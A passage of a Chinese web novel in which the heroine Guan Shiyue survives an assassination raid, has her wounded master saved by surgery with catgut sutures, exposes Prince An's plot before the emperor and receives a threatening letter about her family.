他与她背靠着背，侧头安慰。 “你不是一直想学我的拿手绝活吗？你今日有福了。给我看好了！” 说着，楚翊尘一个飞跃，如同一只巨大的蝙蝠一般，滑翔至敌方，手上利剑如同化身千万支剑，剑气霸道，横扫一大片。 方圆两丈的敌人纷纷倒地。 这一波敌人倒下不过片刻，立马有下一波数不清的敌人围了过来补上…… 楚翊尘再次杀了几个，大喝道：“杂碎们，你们就这么点本事吗？！” 这句话一落，敌人的攻势越发迅猛了。 楚翊尘似是毫无所觉，潇洒挥剑，剑落，收割了一条又一条生命。 就在他大杀四方、所向披靡的时候，身后突然传来了一身细微的女子惊呼声。 那声音他再熟悉不过。 那是关失越的声音。 他活人回头，便看到关失越的大刀正和一个刺客的刀对上了，两人一时不分上下。 而，另外几个刺客则从各个不同的方位击杀关失越。 其中，一把剑划到了关失越的右臂上，顿时，她雪白的寝衣衣袖被削断，露出她雪白的肌肤。 雪白的肌肤，鲜血红得夺目。 关失越吃痛，收回大刀，同时，身体一个后下腰，纤细的腰肢以一个不可思议的角度弯折，腰肢有力，带动她身子在地上一滚，险险躲过了几把剑的围攻。 楚翊尘却看得出，她体力已然快要不济了。 看着她雪白手臂上那不断低落的血珠，楚翊尘眼眶通红，不顾众多敌人的围攻，猛地朝关失越的方向掠去。 他去得及时，一把攥住了一个敌人偷袭过来的剑尖。 那剑尖，离关失越的脖颈只有三公分的距离。 “师父！！！”关失越发力，一刀将那人脖子砍断，目眦欲裂看着楚翊尘手下汩汩流下的血，声音有些抖，“你的手……” 楚翊尘放开了剑尖，朝关失越笑了一下：“小伤而已，不碍事。” 他嘴上这般说，可脸色一点点地变成了青色。 关失越唇瓣颤了颤：“剑上有毒。” 楚翊尘还是没事人一般笑道：“不怕，我早就猜到了，事先服了解药的。” 说罢，不再看关失越，转身，杀掉了再次冲上来的敌人。 “我说了会拿命来护着你。”趁着敌人未攻上来的空隙，楚翊尘微微侧头，目光缱绻温柔，“我便是粉身碎骨，也会护你周全的。记得吃解毒丹。” 关失越眼眶微湿，她从衣袖里摸出一颗药丸来，就要塞到楚翊尘嘴里，楚翊尘偏过头：“我吃过了的。你吃。” 不待关失越说话，他奋不顾身往前一跃，再次杀进了敌群之中…… ========= 晨光微熹。 随着公鸡的打鸣声，京都郊外的一处庄子的房间里，燃了一夜的烛火终于灭了。 一个黑衣人快速地走了过来，在屋外对里面的人道：“主公！” 房间里传出一道低沉的男声：“事情办好了？” 黑衣人迟疑了片刻：“办好了一些，但……那个楚翊尘太难缠了，属下们一时找不到机会，故……” “她人呢？”里面的人声音很冷。 黑衣人：“没有抓到。” 第171章 以命相护 想要带回个死的都费劲，更别提抓活的了！ 主公根本就不知道那个德妃娘娘究竟有多难抓！！！ 她竟有武功！ 且，还相当狡猾！！ 她的屋子里院子里到处都是机关陷阱，他们的人开始不知道，枉死了好多人！！ 她好似早就察觉到了，府里守卫极多，那些守卫的武功虽并不突出，可其中有个特别厉害的楚翊尘！！ 那楚翊尘不愧是天下第一，武功厉害至极，他就跟座大山一样，牢牢地阻挡着他们的进攻。 想要在皓月郡主府将德妃娘娘活着掳走，简直无异于痴人说梦、异想天开！！ 屋子里的人似是没有料到会是这样的结果，沉默了好一阵，道：“喻恒呢？” 黑衣人叹了口气：“身受重伤，命不久矣。不过，属下知晓他的重要性，拼死将他带回来了。” 里面的声音更冷了：“知晓了。下去领罚。” 黑衣人：“是！” 黑衣人一走，屋里的人唤道：“暗七。” 另一个黑衣人从树上落了下来，跪在了屋外：“主公。” 里面的人道：“东越那边有消息了吗？” 暗七：“有。那边飞鸽传书，娘娘的家人全部被找到了。除了一个不幸去世以外，其余人都还活着。” 里面的人很满意：“你带两个人去，暗中接应。” 暗七：“是，主公！” ========= 天亮了。 皓月郡主府的大门打开了。 路过的人透过大门随意地往里面看了一眼，然后，这人呆在了原地，瞪大了眼睛，随即，踉踉跄跄狂奔而去，嘴里发出惊天动地的叫声：“啊啊啊啊啊啊啊！不好了，杀人了！人！好多好多人！！很多很多死人！！！” 随着他的这声叫喊，立马吸引了方圆两里地早起的人们。 紧接着，第二个人也看到了院子里的一幕，这人是个胆子大的，他又害怕又兴奋地往前凑，蹑手蹑脚地走了过去，扒在大门边伸长了脖子往里面看。 然后，他也发出了惊天动地的尖叫声：“啊啊啊啊啊啊啊！死人了！！死人了！！！” 于是，第三个人、第四个人、第五个人……纷纷凑到一块儿，推推搡搡往大门边走去。 然后。 “啊啊啊啊啊啊……” “天老爷啊！” “皓月郡主府进了刺客，快去报案！” “这么多死人，也太可怕了！！” “皓月郡主该不会已经遇害了吧？哎，真可惜！” “是啊，郡主生得实在是太美了。” “你见过郡主？” “我有幸见过一次，那可真是沉鱼落雁、闭月羞花、倾国倾城、风华绝代……可惜，竟红颜薄命，就这般……” “啊啊啊啊啊！快看！有人！！那两人是不是皓月郡主和她的师父平安伯？” 于是，众人不再议论，纷纷朝互相搀扶着的，跌跌撞撞的两人看了过去。 便见那两人浑身是血，血染红了他们的衣服不说，还在不断往下滴落，就如同在血池里浸泡了许久，从血池里跑出来的一般！ 他们的身后，零零星星跟着几个互相搀扶着的血人，他们脚步踉跄，却是对着大门外的人喊道：“救命！有刺客要屠皓月郡主满门！请大家帮忙报大理寺！另外，请好心人帮我们请个大夫来。” 看热闹的人们震惊了。 他们没有想到，昨晚上京都竟发生了那么可怕的事情！ 多数人都是好心的，有的去帮忙请大夫了，有的帮忙报案了。 “多谢各位好心的郎君。”关失越雪白的脸上染上点点殷红血渍，显得妖艳美丽极了，她虚弱地给众人行了个礼，然后，整个人“晕”了过去。 众人见状，越发议论得厉害。 很快，围观的人越来越多，后面的人不知道发生了什么，前面的人便好心为他们讲解。知晓了前因后果的人又给后来的人讲解…… 于是，当大理寺的官差赶到的时候，消息已经一传十，十传百，传遍了整个京都的大街小巷。 ========= 这个案子实在是太大，大理寺的人在简单了解了前因后果之后，便呈报到了大夏帝跟前。 大夏帝大怒，着刑部、大理寺、都察院共同审理。 郡主府的尸体被一具具抬出去，大理寺后院都堆不下，只得留了些特别的，其余的则抬出去，丢到了城外乱葬岗。 案子有条不紊地进行着。 关失越不担心他们找不到元凶，因为，她特意留了两个活口。 为了留这两个活口，她手臂被划了一刀，险些被砍下。 好在当时有楚翊尘拼死相救，否则，她怕是要成独臂大侠了！ 楚翊尘…… 这一回，真是多亏了他！！ “大夫，他情况如何？”关失越的伤在处理完之后，便来到楚翊尘暂住的客房，问道。 这个大夫是京都最好的大夫，尤其擅长外伤，他摇了摇头，道：“他全身上下受了几十处刀伤和剑伤，还能吊着一口气，真是命大！” 关失越忙递了一叠银票过去：“还请大夫尽力救治。小女子感激不尽。” 大夫没有收银票，道：“该收的诊金我自然会收。 这些银票就不必了。 郡主留着吧。 容老朽多嘴一句，平安伯对郡主可当真是爱重。 为了你，当真是连命都可以不要。 说起他这情况…… 哎，郡主可要有个心里准备。 他这外伤，你也看到了，浑身上下几乎没有一处好地方。 然而这还是次要的。 最要紧的是，他还中毒了！ 刺客行刺的时候，在刀剑上抹了毒，随着每一次运用内力，那些毒素会加快在血液里游走，最后到达五脏六腑。 平安伯虽及时服用了解毒丸，但，解毒丸这东西并不能解百毒。 老夫已然给他施针逼毒了，也给他服用了对症的解药，有没有效果，就看他自己的造化了。 毕竟，时间过去太久了。 他若是刚中毒就来还好说，如今嘛……” 关失越手指不自觉地握成了拳头：“劳烦大夫了。” 大夫摇了摇头，道：“还有一个情况，就是平安伯他肚子上有一处伤有点麻烦。是这样的，伤口太大，且太深了。老朽瞧着，怕是伤及了内腑。外面的伤还可以用些药，但内腑破裂了，怕是……” 就是神仙来了，也无能为力！！ 第172章 手术 关失越神色凝重，想了想，试探着道：“依先生的经验，他的内腑有几成破裂的可能？” 大夫叹了一口气：“九成。” 关失越：“……” 大夫继续道：“内腑一旦出现问题，会流血不止，如若不干预，后面还会引发病变，生成病灶，危机到别的内腑脏器，到那时……” 关失越：“能将那破裂的脏腑给补上吗？再做一下消毒是不是就可以了？就跟外伤一样。” 大夫惊讶地看了关失越一眼，随即，摇了摇头：“你说的这个，我曾在古书上看到过。 原则上是可行的。 但，自古以来从没有人成功过！！ 这里面有太多的难题解决不了！ 首先，用针线缝补上是可以的，但缝补完之后如何拆线？ 难道再在身体上开个口子？ 最要紧的是，内里的东西十分复杂，一旦感染，那便是大罗金仙来了也没办法。” 哎，外行哪里知晓这些？ 跟她说这些，也是白说。 大夫摇了摇头，就要去收拾自己的医箱，这时，关失越道：“如若说，我能有办法解决拆线和消毒两个难题呢？我师父他是不是就有救了？” “什么？你能解决这两个难题？！！”大夫震惊了。 他不会是人老了，耳朵出现问题了吧？ 这两个困扰了无数先辈几千年的难题，她一个不到二十岁的小娘子能解决？！！ 哎，也是。 小娘子毕竟心善，一心想救自己的师父。 她有如此不切实际的想法，也正常。 哎，可怜！ 罢了，看在她一片赤诚的份上，就姑且原谅她的无知吧！ “是！我能解决！！”关失越挡在了大夫身前，信誓旦旦地说道。 老大夫无奈地笑了一下：“郡主不会是在跟老朽说笑吧？但凡是线，就得拆。但凡要拆，就得重新切开外面的皮肉。在做这一切的过程中，非常容易出现感染。一旦感染……” 关失越耐心听他说完了，才道：“手术缝合线也不一定就非得用普通的线，其实可以用免拆的线的。 那种线是特殊材料所制，在身体之内一段时日后，就会自动被身体吸收，且，绝不会对内脏造成损害！ 恰好，我才从西域那边回来，我有那种线！！” 老大夫还是第一次听闻世上有免拆的线，不禁道：“郡主所说的线是什么材料所制的？” “羊肠。”关失越道，“在西域，以及更远的地方，便有羊肠线。他们做内科手术，便是用的那羊肠线！” 老大夫眼前顿时一亮：“当真？” 如若有那样的线，倒是有了五分胜算了！！ 若是运气好，缝合过程中没有感染，那就成了！！ 只是，消毒这一环节一定不能出现丝毫差错才成！！！ 关失越：“自然是真的！我家里就有！我立马就去找过来！！！” 关失越去取羊肠线的时候，老大夫摸着胡须，一会儿点头，一会儿摇头，一会儿站起来在屋子里不停地踱步。 一旦真有郡主所说的那些东西，这手术有七八成的胜算啊！ 平安伯身体底子极好，只要不感染，恢复是肯定的事。 他若将这事情做成了，那可真是外伤的一大奇迹！ 可是，从古至今，就几乎没有不出现感染症状的案例的！ 这事，到底能不能成呢？ 老大夫内心煎熬极了，不到一刻钟的时间，愣是让他感到度日如年。 终于，在老大夫望眼欲穿的时候，关失越回来了。 关失越进来后，意有所指地看了老大夫一眼。 老大夫会意，对自己的徒弟道：“你先出去。” 医童出去后，主动关上了门。 关失越将窗子也关上，确认周围无人，这才走到了老大夫身前，将东西拿了出来。 当初特工培训的时候，关失越是学过一些基础的医学知识的，尤其是外科。 毕竟，做他们这一行的，会经常动刀动枪的，难免会有受伤。 一旦受伤，伤到了内脏便麻烦了。 所以她一直在想办法自制羊肠线和青霉素。 这些东西并不是一蹴而就的。 她做了很多次实验，失败了无数次，在两个月前终于做成功了。 为此，她还将青霉素往兔子身上实验过。 效果很好。 密封的小玻璃瓶子里，一团缠绕得结结实实的羊肠线被高度白酒所浸泡，看起来就很高级。 另外一只玻璃瓶子里，装着一小撮粉末状的东西。 关失越将装着自己好不容易提取出来的青霉素在老大夫跟前晃了晃：“这东西虽说对感染有效，但，不是所有人都适合。所以，若是能不感染的话最好。” 老大夫还在反复观察羊肠线，惊叹其作用，闻言点了点头：“那是自然！ 我们做大夫的，最担心的就是病患伤口感染。 一旦感染，那是真没办法。 不过郡主放心，有不少人是不感染的。 平安伯身体好，许是不感染也说不准。 对了，郡主，这东西真能自己被身体吸收？” 关失越点了点头，又摇了摇头：“我也不是很清楚，我就是听西域那边的人说可以。但，我没有用过。也不知晓真假。” 老大夫：“没事！我立马就找些动物来试。” 关失越点了点头：“可以。我可以送一些给大夫。不过如今我师父这伤等不的，麻烦先生为他缝合。” 老大夫立马道：“对对对，平安伯这伤等不得，老朽这就给他缝合。” 关失越松了口气：“先生若是需要烈性白酒，我府上有，先生尽管吩咐就是。” ========= 手术进行了足足三个时辰。 在这三个时辰里，关失越就等在外面听候差遣，一步也没离开。 谢七娘、胡娘子、莹秀等人也跟着陪在她身边一起等。 关失越得到情报，知晓安王的人要来刺杀她，她思虑良久，还是决定决定将计就计，以身为饵，请君入瓮，关门打狗，直接一劳永逸彻底解决掉安王！ 安王是皇族，若是犯的错太小，还不足以让大夏帝震怒，所以，干脆让他犯个大的！ 她将能用上的人都用了。 千里及杀手，楚翊尘私人护卫，郡主府守卫…… 按理，这些人足够了。 只是没有料到安王居然还与轩辕的暗阁有勾结！ 因此，昨夜那一仗才打得那般艰难。 如此更好，皇族的人和敌国细作联手绞杀立下大功的人，安王的好日子到头了！ 第173章 殿前对质 府里这么多的尸体，便是铁证。 全京都的人都知晓她皓月郡主府被屠了满门。 而事实上，昨夜死的人中，大多是千里及杀手，小部分是郡主府护卫和楚翊尘的人。 这口锅，安王背也得背，不背也得背！！ 府中女眷和孩子，不但没有战斗力，反而还可能成为己方的软肋，于是，关失越早早让人挖了个地下室，让府里的女眷和孩子在敌人来之后，好下去地下室躲藏。 昨夜敌人夜袭，门房被杀时，拼着最后一口气发出了警告，莹秀听到消息，立马照着关失越的吩咐，将府中女眷和孩子转移到了地下室。 昨夜一夜厮杀，府中女眷和孩子都没事。 不过，杀到一半的时候，谢七娘也冲了出来和敌人厮杀。 好在谢七娘够聪明，她就躲在暗处放冷箭，如此，也杀了不少敌人，救下不少自己人。 今日天亮后，大门是莹秀打开的。 开了门她又跑回去躲着了，顺便抹了些血迹在自己身上。 府里所有女眷都如法炮制，纷纷往自己脸上、身上、衣服上抹血迹。 给所有人一个皓月郡主府全府被屠戮的假象。 事实上，昨夜死的人中，大多是千里及杀手，小部分是郡主府护卫和楚翊尘的人。 “平安伯身子一向好，他一定会平安无事的。”谢七娘道。 谢七娘手臂和小腿上也受了伤，她一直和关失越坐在椅子上等消息，见关失越站起来，她便拉她坐下。 这时，门终于开了。 老大夫一脸倦色走出来，看向迎上来的关失越，道：“手术很成功，里面外面都处理好了。 若是不出现感染症状，十天便能下床了。 这几日，让他尽量不要动。 两个时辰后，麻沸散效果消失，他肯定会很疼，只能让他忍着。 若实在忍不了，就来通知我，我给他扎针。 我今日就在贵府上歇着，随时注意他的情况。” 关失越躬身一礼：“先生厉害。多谢先生。先生辛苦，莹秀，安排先生好生歇息。” “是，郡主！”莹秀回道，有看向了大夫，“先生请随婢子来。” 虽说昨夜发生了可怕的杀戮，但郡主府的丫鬟婆子却一个没少，因此，府里的运转并没有停歇。 ========== 事情实在是太大，性质实在是太恶劣，造成的民愤和恐慌也着实太大，因此，大理寺、刑部、督查院三方都没有徇私。 那两个活口愣是没被暗杀掉，招出了幕后主使。 事关大夏皇子，三司商量好决定，将此时上报大夏帝，让大夏帝来定夺。 于是，安王被召入了皇宫。 被卷入到灭门惨案里，安王面色很不好看。 若是那皓月郡主确实被灭门了，他心里还好受些。 问题是，昨夜的刺杀失败了！！！ 他的暗卫，他的死士都死了！ 他的势力几乎损失殆尽！！ 这在他的生命里，几乎是不可能的事！ 可的的确确发生了。 自出生以来，他还没吃过这么大的亏！！ 吃了亏，他还不能还回去，还要被人告！！！ 他恨死了关失越。 不过是个军妓，为什么就不老老实实地当她的军妓，而要搞出这么多事来？ 为什么不乖乖等着被他杀？ 为什么要和他作对？！ 他从来没有如此恨一个女人，关失越是第一个。 她真的该死！ 昨夜他等了一夜也没有等到消息，便知晓刺杀失败了，天亮的时候，幕僚的讨论结果也出来了：坚决不认，外加负荆请罪。 坚决不认，是给外人看的。 负荆请罪，是做给大夏帝看的。 安王一路走来便在酝酿情绪，等见到大夏帝的那一刻，他的眼眶已然红肿，眼泪说来就来。 “父皇，儿臣知错了！儿臣如此，也是气不过被羞辱！儿臣堂堂一国亲王，儿臣的女人却被那皓月郡主那般羞辱，儿臣哪里还有脸面见人？儿臣不过是想教训她一下而已，并没想过要屠她满门的……” 安王一番唱念做打，端的是情真意切，让人同情。 然而，他表演了半日，御座上的大夏帝却是一言不发，面色难看。 安王惊疑不定地瞟了眼四周，然后，他整个人如同冰雕一般，不动了。 他看到了一个女人。 一个柔弱的、美丽到不可思议的女人。 女人身段实在是太好，脸上虽有病弱之态，但却难掩她倾国倾城的美…… 等等，这人看起来好似有点熟悉啊…… 嘶，这……这…… 这这这这…… 这不就是那个军妓吗？！！ 她怎么也在？！！ 刚刚他的那些话，她都听到了！！！！ 果然，下一刻，他便听到了那熟悉的嗓音在大殿响起：“如此说来，安王殿下这是承认了自己的所作所为了。” 安王面色顿时变得铁青。 想到还被父皇看着，安王努力缓和了面色，却是因为心里实在是太恨，面色白了青，青了紫，紫了红，煞是精彩。 然而，这还没完！ 关失越转头对上了大夏帝，郑重地道：“陛下，属下要举报！属下举报安王殿下大逆不道，阳奉阴违，对陛下的决策不满、心生怨怼！” 安王又恨又气，下意识地想要去捂关失越的嘴。 关失越冷笑一声，丝毫不给他反应的机会，快速道：“三四年前，陛下下令罪臣谢氏一族女眷发配充军，其中一女，名叫谢婉婉。 可安王殿下不满陛下决策，于是暗中捞出了谢婉婉，将之接到了府里，百般宠爱。 之后，安王殿下为了给谢婉婉出气，联合轩辕暗阁杀手，要一举屠属下满门！ 安王联合敌人，放敌人进京都，是为对国不忠；忤逆陛下，是为不孝；举着屠刀对属下一众弱女子，是为不仁；对属下这个为大夏鞠躬尽瘁的有功之人下手，是为不义。 安王殿下此等不忠不孝、不仁不义之徒，为了个陛下厌弃的罪臣之女做出这样的事，可真是比那周幽王之徒还要不如！ 属下死不足惜，可安王殿下故意将陛下下旨充军的女子接回府里疼爱，是在狠狠打陛下的脸！属下便是死也不答应！” 安王面色惨白：“你……你胡说八道！！” 第174章 坦白 她怎么敢？！！ 她难道不知道，她现在举报了他，她自己也一样落了个欺君之罪吗？！！ 关失越：“是吗？那就请安王殿下将那谢婉婉带上来，让陛下看看，不就清楚了吗？谢婉婉是罪臣之女，大夏明珠，想来陛下定是知晓她的长相的。殿下敢吗？” 安王气得脑子一片空白，突然，他灵光一现，想到什么，道：“父皇，儿臣也要举报！ 这个女人，她 ……她犯了欺君之罪！！！ 她说她是陆婉婉，实际上她根本就不是！！ 她叫关二丫，原本是个军妓！ 还是千里及细作！！ 她才罪该万死！！ 儿臣不忍见她小人得志，这才要杀了她的！ 儿臣此举，都是为了父皇，为了大夏啊！” 说完这话，安王心里畅快至极，就等着看关失越惊慌失措的模样。 然而，他失望了。 关失越一点都不惊慌，也不害怕，相反，她还讽刺地勾了勾嘴角。 安王又看了一眼龙椅上的大夏帝，大夏帝面上丝毫没有发怒的迹象，看过来的目光里失望又怜悯，心里不禁咯噔一声。 他不知晓的是，一刻钟之前，就是在这里，关失越向大夏帝请罪，将自己的身份一五一十地说了。 将她从自己被向砚辞欺骗，被当做谢婉婉的替罪羊的事娓娓道来，再简单地讲述了一下不得不做细作的心路历程。 整个过程是从女子的角度出发的，带有非常浓重的悲剧色彩和个人风格，言辞质朴，情真意切，声泪俱下，让大夏帝都都有些同情起了她。 “来人。”大夏帝道，“去安王府，将那个谢婉婉带上来！” 作为大夏的皇帝，安王和谢婉婉的那些事，他早就知晓了。 谢婉婉不过是一个女子，做不做军妓，他并不是很在意。 自己儿子喜欢，也不是不能睁一只眼闭一只眼。 可惜，现如今，安王因为谢婉婉闹出了这么大的事，那他就不能不管了。 再则，关失越一让将真相放到了明面，他也没法再假装不知道了。 安王面色大变：完了！一切都完了！！ 可怜的婉婉！！！ 没多久，谢婉婉被带到了殿前。 面对着上首的大夏帝，谢婉婉吓得双腿发抖。 大夏帝：“那日被扒光了吊到城门口的人，是你吧？” 谢婉婉眼泪流了出来：“求陛下为贱妾做主，这一切都是皓月郡主干的！贱妾死不足惜，可贱妾代表的是安王殿下的脸面。皓月郡主这般，是在打殿下的脸，也在给陛下难堪。” 关失越就笑了：“哦？是吗？ 谢侍妾说这话，怕是在颠倒黑白混淆是非吧？ 陛下是明君，当日之事真相到底如何，陛下清清楚楚，是断不会被你的三言两语所糊弄的。 你想倒打一耙，你打错了算盘！ 另外，你找的那些人陛下也查清楚了，里面有乞丐，有流民，还有得了花柳病的人。 谢侍妾，你回府后，没有跟……” 关失越用怜悯的眼神看向安王。 安王还是第一次听闻那些人里面有得了花柳病的，大骇，他目光希冀地望向大夏帝。 大夏帝给了他一个白眼，随即道：“来人，找个御医来。” “呵！哈哈哈哈哈……”谢婉婉发出了疯狂的笑声，同时，她猛地站起来，朝着柱子冲了过去。 不好！ 这模样是要撞柱！！ 想死了一了百了？做梦！！！ 关失越一个快捷出手，牢牢抓住了谢婉婉的手指。 同时，一个使力，将她拖了回来，按到在地。 顿时，御林军冲上来，团团围住了谢婉婉。 看着谢婉婉投过来的怨恨的目光，关失越冷冷地勾起了嘴角。 说来说去，谢婉婉才是所有事情的元凶。 所以，谢婉婉现在不能死。 她若是死了，关失越倒成了逼死她的凶手，本来的受害者一方，在大夏帝心里，会变成施害者。 如此，对安王的惩罚便会减轻。 这怎么行？ 她好不容易有了一举铲除安王的机会，怎么可能让谢婉婉的这一死给破坏掉？ 另外，谢婉婉若是此时死了，她就还是安王的白月光，还是一辈子都忘不掉的那种！ 她做的那些事，她被轮的那些经历，都会被安王淡忘、过滤，到最后，在安王的心里，她仍是当初那个美丽高贵、出尘不染的白月光。 人死为大。 人们往往会对死人格外宽容，对活着的人格外残忍。 让她活着，让安王在年复一年日复一日的时光里看清她，一遍一遍回想她吊在城墙上的那一幕才好呢！ 白月光和米饭粒之间，就只隔了生死和一件又一件鸡毛蒜皮的琐事而已。 很快，御医走了过来，给谢婉婉把脉。 那事过去还不久，此时把脉不一定能把出什么来，但是，这种事人们只会宁可信其有，况且对方还是皇室呢！ 总之，谢婉婉的好日子，结束了！ 果然，御医并没有把出花柳病来，他只是说了些谢婉婉别的病症。 然而，安王脸上丝毫没有放松之色。 事实上，在听到关失越说起里面的人有得了花柳病的那句话之后，安王的身子便不动声色地远离了谢婉婉。 男人的戒备和远离，让谢婉婉心如刀绞。 她知晓，自己这下彻底没了指望了。 她流下了两行绝望的眼泪。 ========== 君无戏言。 谢婉婉最终还是被发配到了赤霞府军营，充为军妓。 这一次，再没人为她奔走，为她找替身了。 绕了一圈，她又回到了她自己既定的轨道。 她离开的那日，之前爱慕过她的郎君们，一个都没来相送。 谢婉婉是哭着走的。 关失越因为自己在大夏帝跟前自爆了，因此，也恢复了她原本的身份。 陆婉婉变回了关失越。 作为对她欺君的惩罚，大夏帝驳回了她要脱离千里及细作和摇光卫的请求。 她的郡主封号和郡主府没有收回，还是她的。 在和沈淮瑾见过一次后，向砚辞一个人扛下了李代桃僵的事，被大夏帝厌弃，削去了他的官职，抄没了他的家产，将赶出京都，且以后向家三代人，都不许再参加科考。 向砚辞灰溜溜地离开了京都。 他走的头一日，去了一趟皓月郡主府，想求见关失越。 第175章 自荐枕席 关失越没有见他。 向砚辞还待纠缠，就被告知：“郡主说，她恨你，这一辈子都不会原谅你。若是再纠缠，郡主就要放护卫来收拾你了。” 向砚辞眼眶发红，对着大门的方向拜了拜，转身离开了。 安王的境遇很是不好。 虽然他及时和谢婉婉断了，又及时请罪，说自己是被谢婉婉迷了心智才做出那样的事，但…… 朝中日日有大臣弹劾他。 弹劾他的人非常多，御史，言官，权臣，低品级官员，都有。 弹劾安王的罪状很多，强占良田、收受贿赂、通敌叛国等等，安王焦头烂额，毫无招架之力。 安王从未过过这样的苦日子，心情烦躁不已。 在求见过一次大夏帝，和大夏帝密谈了两刻钟后，安王恢复了以往那高贵冷艳的气度。 当日下午，太阳落山之前，安王脱了上衣，背着荆条，来到皓月郡主府外面，表示要负荆请罪。 关失越一点也不想见到他，让下人轰他走。 对方毕竟是安王，下人哪里敢轰他，只得以各种委婉的理由，说服安王，劝退安王。 但是，安王既然来了，就没打算离开，所以，无论下人怎么劝退，安王就是不走。 很快，郡主府门前就围了不少吃瓜群众。 里面少不得有安王的托儿。 吃瓜群众们见安王一个皇室贵胄对一个平民女子如此有诚心，纷纷夸赞安王仁义，暗贬关失越不知好歹。 “知错能改善莫大焉。” “安王不过是受了妖女的蛊惑，一时想差了，但他如今已然知错了，郡主就该大人大量，原谅他才是。” “是啊，谁没个犯错的时候呢？” “安王根本就没和轩辕暗阁的人勾结，是暗阁的人故意栽赃陷害的！说起来，暗阁的人才是真的坏！！” “你们许是不知晓，安王殿下对郡主其实是因爱生恨……” “啊？是吗？到底是怎么回事？说说看！” “……” ========= “不好了！郡主，不好了。” 郡主府内，莹秀快步跑来，神情焦急。 关失越只得出了房间。 楚翊尘的手术很成功，也用了她提取出来的青霉素，可是，这玩意儿毕竟是第一次在人身上用，有没有效果，会不会出现排斥反应，她不敢确定。 所以，关失越一直在边上照看着。 对于外面的事，她跟下面的人交待过了，只要不是十万火急的事，就别来打搅她。 然而今日，这已然是第二次了。 关失越心情不爽。 莹秀是个会察言观色的，见状就快速地将外面的情况说了一遍，然后就站在边上不吭声，等着指示。 “啧，真是……算了，叫他进来吧。”关失越道。 莹秀：“是。” 便一溜烟地跑了。 很快，光着膀子的安王被请进了皓月郡主府的花厅。 关失越坐在主位，抬眸看了他一眼，眼神说不出的冷：“殿下这般小人行径，可真是恶心人。” “哪里哪里，孤这是真心实意来赔礼道歉的。”安王直接在客位上坐下，目光打量着关失越。 他总感觉，今日的关失越跟那日在大殿上看到的不太一样。 今日的她明显更美，身段也更妖娆，尤其是那腰，感觉好似只有巴掌般大小…… 关失越冷笑道：“殿下的道歉，民女可不敢收。免得哪日又被殿下惦记了，找人来杀了民女！” 安王好似并未听出拒绝怨恨之意，也好似并未觉着自己如今还光着膀子，和一个未出阁的小娘子共处一室有什么不对，他的目光在关失越白皙细腻的脸上落下，道： “郡主心里有气，孤自是知晓的。 如今，孤求上门来，就是为了让郡主消气的。 郡主想对孤做什么就做什么，孤都愿意配合。” 说话间，还扬了扬他的脖子，抬起了他冷艳的下巴。 向砚辞和沈淮瑾与她的事，安王清清楚楚。 在安王看来，这女人就是个荡、妇，又脏又贱，放在平时，他看都不愿多看一眼。 那向砚辞和沈淮瑾两人竟为了这样的女人而背刺婉婉，可真是蠢！！ 可如今看来，这女人生得美艳无双，身段妖娆至极，若是被她玷污一次，好似他并不反感。 只愿她在事后原谅他，主动到陛下那里去给他美言两句。 关失越在看到他这肢体动作和这表情，便知晓他心里在想什么，不由一阵恶寒。 哪里来的自恋狂？ 呸！ 他长得确实不错，出身也不错，气质也好，身材…… 别的方面不好说，但光看他的上半身，就很一般！ 这些暂且不说了，仅就一点，便让她就对他没有胃口！ 他府里的女人不少，他不干净！ 而且，还是被谢婉婉用过的！！！ 谢婉婉用过的破鞋，她就是打光脚也不要！！！ “殿下说笑了。”关失越收回目光，好似多看他一眼都会脏了自己的眼睛，“殿下所做的事，是违犯了国法。殿下的惩处结果，只能由陛下来裁决。民女是不会逾矩的。” 呵，她倒是装上了！ 安王在心里腹诽，面上道：“孤当时也是被谢婉婉那女人迷失了心智，孤自己并没有想与郡主你为难的。 如今谢婉婉已经走了，孤保证，以后再不会为难郡主了。 还请郡主网开一面。 要不，孤也效妨沈世子？” 赔钱又赔身子。 啧啧啧，沈淮瑾可真惨！ 这女人真是贪婪！！ 不过，就这一次，以后她若再想近他的身，就是做梦！ 他就是要勾着她，吊着她，让她想吃又吃不到！ 哈哈哈哈哈…… 关失越险些要被安王的无耻给惊呆了，她冷笑一声，端起了茶杯：“殿下若是无事，便请回吧！我还有事，恕不奉陪！” 安王的脸色变了，她怎么敢？！ 他诚心诚意上门来道歉，放低了姿态表示要自荐枕席了，她怎么还这副样子？！ 她难道不该受宠若惊的吗？ 当初她对沈淮瑾可不是这样的！！ 对那沈淮瑾，她强取豪夺；对他，她爱答不理。 合着他堂堂一国亲王，还比不上沈淮瑾、向砚辞之流了？！ 屈辱！ 这简直是奇耻大辱！！ 﨔 第176章 该怎么弥补我？ 安王很生气。 “关二丫，你到底想怎么样？！！”安王怒道。 关失越用看智障的眼神看着安王，好心回道：“我没想如何。我就想好好等判决结果。说起来，都这么些日子了，结果也应当要下来了。” 想到自家父亲的交待，安王如同泄了气的皮球，气消了大半，他深呼吸一口气，面上恢复了往常的平静。 “皓月郡主，我今日是真心来赔礼道歉的。 你想要什么，尽管提。 只要我能做到的，必定竭尽全力做到。 我只希望你不要再咬着那夜的事不放了。 郡主，做人留一线，事后好相见。 你说对吧？” 做人留一线？ 呵呵，他都做下灭下满门之事了，竟还有脸跟她说做事留一线！！ 关失越心底冷笑，就要说话。 这时，莹秀在外面道：“郡主，有大事！” 关失越朝安王拱了拱手：“我还有事。殿下自便。” 说罢，不管安王那难看的脸色，大步走了出去。 莹秀手里拿着一封用火漆封住的信，递了过来，同时，她压低了声音道：“是刚刚有人用箭射进来的！！” “好，我知晓了。你先退下。”关失越拿着信，便见信封上写了几个龙凤飞舞的大字：皓月郡主亲启。 那字有点熟悉，让关失越心里升起了一股不祥的预感。 她忙快步走进书房，关好门窗，将信拆开。 这一看，她整个人呆愣住了。 上面就几个字：今夜戌时（19:00-20；59），城郊，速来。 信纸下面是好多个手指印。 那手指印一看就是一家子的，有老有少，有男有女。 其中个手指印的边上，写了一个人名字。 那名字，是原主的母亲的名字。 关家人还是被找到了！ 她这些年来一直担心的事，终于还是发生了！！ 听说之前安王一直在打探关家人的下落，难道这信是安王写的？ 可是，这字迹…… 如今的时间约摸是下午五点来钟了，距离七点，不到两个小时！ 也就是说，她现在就得出发了！！ 对方根本就没有给她反应和犹豫的时间！！！ 偏偏这个时候，楚翊尘身受重伤。 怎么想，她都感觉这是对方计算好了的。 去不去？ 去，有八成可能是敌人的陷阱。 不去…… 她并不是原主，按理，她一个穿越的人，并不该对原主的家人产生什么感情。 可不知是不是身体的本能的缘故，又或者是原主的执念在作祟，总之，她在见到原主的家人那一刻，就感觉无比的亲切。 